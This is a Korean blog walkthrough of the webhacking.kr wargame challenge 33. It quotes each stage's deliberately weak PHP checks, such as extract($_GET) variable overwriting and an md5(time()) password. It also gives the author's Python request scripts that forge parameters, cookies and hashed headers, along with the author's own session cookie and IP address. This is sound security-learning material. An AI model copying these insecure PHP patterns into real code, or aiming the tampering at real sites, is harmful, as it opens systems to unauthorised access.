웹/webhacking.kr

webhacking.kr 33번

최경환의 해킹공부 2021. 3. 2. 14:16

33번에 들어가게 되면 바로 소스코드를 확인할 수 있습니다.

<hr>
Challenge 33-1<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if($_GET['get']=="hehe") echo "<a href=???>Next</a>";
else echo("Wrong");
?>

소스코드를 확인해보면 get이라는 인자에 hehe라는 값을 get 방식으로 전달하면 다른 부분으로 이동하는 것 같습니다. 일단 넣어보겠습니다.

인자로 넣어주면 일단 Wrong이 Next로 바뀌었습니다. 다음으로 넘어가보겠습니다.

다시 소스코드를 확인해보아야 할 것 같습니다.

<hr>
Challenge 33-2<br>
<a href=lv2.txt>view-source</a>
<hr>
<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2") echo "<a href=???>Next</a>";
else echo "Wrong";
?>

이번에 post방식으로 전달하는 인자의 값을 소스코드의 조건처럼 맞춰주어야 할 것 같습니다. Post방식의 인자는 burp suite를 이용해 넘겨주겠습니다.



해당 사이트를 burp suite로 잡은 화면인데 사이트가 get방식으로 설정되어 있어서 처음 부분을 수정하고 인자를 전달하면 될 줄 알았는데 실패했습니다. 그래서 구글링을 좀 해보니 친절하게 설명이 되어 있는 블로그 글을 발견했고, 링크를 남깁니다. 아래의 링크를 참고하면 자세히 설명되어 있습니다.

dongdd.tistory.com/29

 

Browser에서 POST 방식 전송

Browser에서 POST 방식 전송 webhacking.kr 33번 문제를 풀다 보면 post방식 전송을 사용해야 될 때가 있다. (webhacking.kr 33번 문제의 일부 해답이 되어있음) burp suite를 사용하여 문제를 해결했지만 다른 to..

dongdd.tistory.com

이 부분이 response 헤더 파일일고 get방식으로 설정되어 있는 것을 알 수 있습니다.

링크를 참고하여 post방식으로 인자를 전달하였습니다. 

이렇게 console에 추가한 후 network로 가면

lv2.php가 하나 더 생기는 것을 볼 수 있고 새로 추가된 lv2.php의 헤더와 response를 보면

이렇게 알 수 있습니다. 여기서 살짝 삽질을 한게 전 새로고침을 하면 바로 넘어가는 줄 알았는데 그것이 아니라 response의 결과의 33.php로 직접 이동해야 다음 문제의 페이지로 넘어갈 수 있었습니다.

이번에도 같습니다. 바로 소스코드 확인하겠습니다.

<hr>
Challenge 33-3<br>
<a href=33.txt>view-source</a>
<hr>
<?php
if($_GET['myip'] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

myip라는 인자의 값이 현재 저의 ip와 같아야 하는 것 같습니다. 그렇다면 ip를 확인해보겠습니다.

ko.infobyip.com/

 

IP 주소 정보

위치, 날씨, 클라이언트 등록 및 더 많은 : IP 주소 및 브라우저에 대한 정보. 고급 인터넷 도구.

ko.infobyip.com

ip 주소는 이 사이트를 이용해서 얻었습니다.

이렇게 전달하면

다음으로 넘어갈 수 있습니다.

바로 소스코드 보겠습니다.

<hr>
Challenge 33-4<br>
<a href=l4.txt>view-source</a>
<hr>
<?php
if($_GET['password'] == md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>

password의 값이 time()함수의 값의 md5 암호화한 값이어야 하는 것 같습니다. 그리고 time함수의 값을 힌트로 출력해주기 때문에 이 값을 암호화해서 전달해 보겠습니다.

www.md5online.org/md5-encrypt.html

 

MD5 Online | Free and fast MD5 encryption

 

www.md5online.org

아래의 링크를 이용해서 암호화해주었습니다.

 

이렇게 보내면 될 줄 알았는데 안 되네요... 아마 time함수로 실시간으로 초단위계산되는 것 같습니다. 그렇다면 파이썬 코드를 이용해서 전달을 해주어야 할 것 같습니다. 이것 역시 결과를 받아서 출력한 후에 다음 페이지의 소스코드 이름을 확인해야 할 듯 합니다.

 

사용한 파이썬 코드와 결과값입니다.

import requests
import time
import hashlib

url='https://webhacking.kr/challenge/bonus-6/l4.php?'
header={'Cookie':'PHPSESSID=kumrcrat0ij53lt23vrho3j3vh'}

t=int(time.time())
t=hashlib.md5(str(t)).hexdigest()

query='password={}'.format(t)
result = requests.get(url+query, headers = header)

print(result.text)

결과를 확인해보니 다음 페이지는 md555.php입니다.

바로 소스코드 확인하겠습니다.

<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'] && $_POST['impost'] && $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

역시 주어진 조건 을 만족해야 합니다. 조건들이 계속 쉽기 때문에 앞으로 큰 변경점이 없을경우 조건에 대한 설명은 생략하겠습니다.

이번에도 파이썬 코드를 이용했습니다.

import requests

url='https://webhacking.kr/challenge/bonus-6/md555.php?imget=1'

data={'impost':'1'}
cookie={'imcookie':'1'}
result = requests.post(url, data=data, cookies = cookie)

print(result.text)

다음 페이지는 gpcc.php인것 같습니다.

<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'] == md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'] == md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>

6번째 단계입니다. 이 부분도 아마 파이썬 코드를 이용하면 될 것 같습니다.

import requests
import hashlib
url='https://webhacking.kr/challenge/bonus-6/gpcc.php'

ip='180.224.43.160'
ip=hashlib.md5(str(ip)).hexdigest()
agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36'
agent=hashlib.md5(str(agent)).hexdigest()

data={'kk':agent}
cookie={'test':ip}
result = requests.post(url, data=data, cookies = cookie)

print(result.text)

이 코드로 인자를 전달했는데

이런 결과를 보고 당황했는데 찾아보니 agent의 값을 파이썬 코드를 사용했을 경우에는 파이썬 결과로 바꿔주어야 한다고 합니다.

수정해 주었더니 제대로된 결과가 나왔습니다.(수정은 직접 해보는 것도 좋을 거 같습니다.)

다음 페이지로 이동 후 소스코들 보겠습니다.

<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'] = str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>

str replace함수를 통해 문자를 바꿔주는 것 같습니다. 소스코드를 보면 ip에서 .을 그냥 없애주는 것 같습니다. 그래서 위에서 소개한 사이트에서 자신의 ip를 확인한 뒤 .을 뺀 값을 인자와 데이터로 넣어주면 될 것 같습니다.

ex) 127.0.0.1일 경우 127001=127001

<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1") echo "<a href=???>Next</a>";
else echo "Wrong";
?>

이 정도 소스 코드는 충분히 해석할 수 있을 거라고 생각합니다. 순간 헷갈릴 수 있지만 결국 addr값을 127.0.0.1로 전달하라는 뜻입니다.

<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
if($_GET['ans'] == $answer) echo "<a href=???.php>Next</a>";
else echo "Wrong";
?>

이 부분도 같습니다. for문의 결과값으로 나오는 문자열을 ans로 전달하면 되는데 이 결과값은 파이썬 코드를 이용해 찾아서 넘겨주었습니다.

 

ch=''
for i in range(97,123,2):
  ch+=chr(i);

print(ch)

<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>

solve가 있는 것 보니 드디어 마지막 단계인 것 같습니다. (이게 어려운 문제는 아닌데... 너무 단계가 많습니다...)

소스코드를 보면 현재 저의 ip를 가져와서 문자열 변환과 계산등을 수행하는데 이 소스코드는 php이기 때문에 그냥 가져와서 붙여넣은 다음 결과값을 echo로 출력하면 됩니다. 아마 이 문제를 푸는 분들이라면 로컬 서버는 가지고 있을 것이기 때문에 자신의 로컬서버에 파일을 만들어서 웹페이지로 출력해보면 됩니다.

<?php
$ip='자신의 ip';
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
print($answer);
echo "answerip/{$answer}_{$ip}.php";
?>

위의 코드에 자신의 ip코드를 넣어서 결과값을 확인 한뒤 아래의 링크처럼 보내주면 문제가 드디어 풀립니다,

결과값을 이용해 위 링크처럼 url을 입력하면 문제가 풀립니다.